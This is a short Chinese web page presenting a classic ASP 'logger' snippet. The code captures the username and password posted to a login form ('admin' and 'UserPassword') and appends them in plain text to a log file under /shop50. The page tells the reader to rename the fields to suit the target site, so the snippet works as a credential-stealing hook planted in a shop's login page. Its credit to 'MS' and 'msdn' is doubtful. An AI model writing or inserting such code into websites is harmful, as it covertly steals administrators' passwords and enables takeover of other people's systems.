asp logger

根据情况,修改admin和UserPassword,还有Public修饰符号

<%
   Add2Log now&" "&request.Form("admin")&":"&request.form("UserPassword")
%>

<%
Public Sub Add2Log (txt)         ' txt is the text we send into the subroutine
' Declare the log file name
Dim Myfile
Myfile = server.mappath("/shop50/shoplog.txt") ' Log file name
' Open it for Append
Const ForAppending = 8 ' Append mode
' Declare the FileSystemObject and File variables
Dim fso, file
' Create a new FileSystemObject object
Set fso = CreateObject("Scripting.FileSystemObject")
' Open the file and force creation, if it doesn't exist already
Set file = fso.OpenTextFile(MyFile, ForAppending, TRUE)
file.WriteLine (txt) ' append log
' Clean up
Set file = Nothing
End Sub
%>

作者:MS   更新日期:2004-12-23
来源:msdn   浏览次数:

相关文章

相关评论   发表评论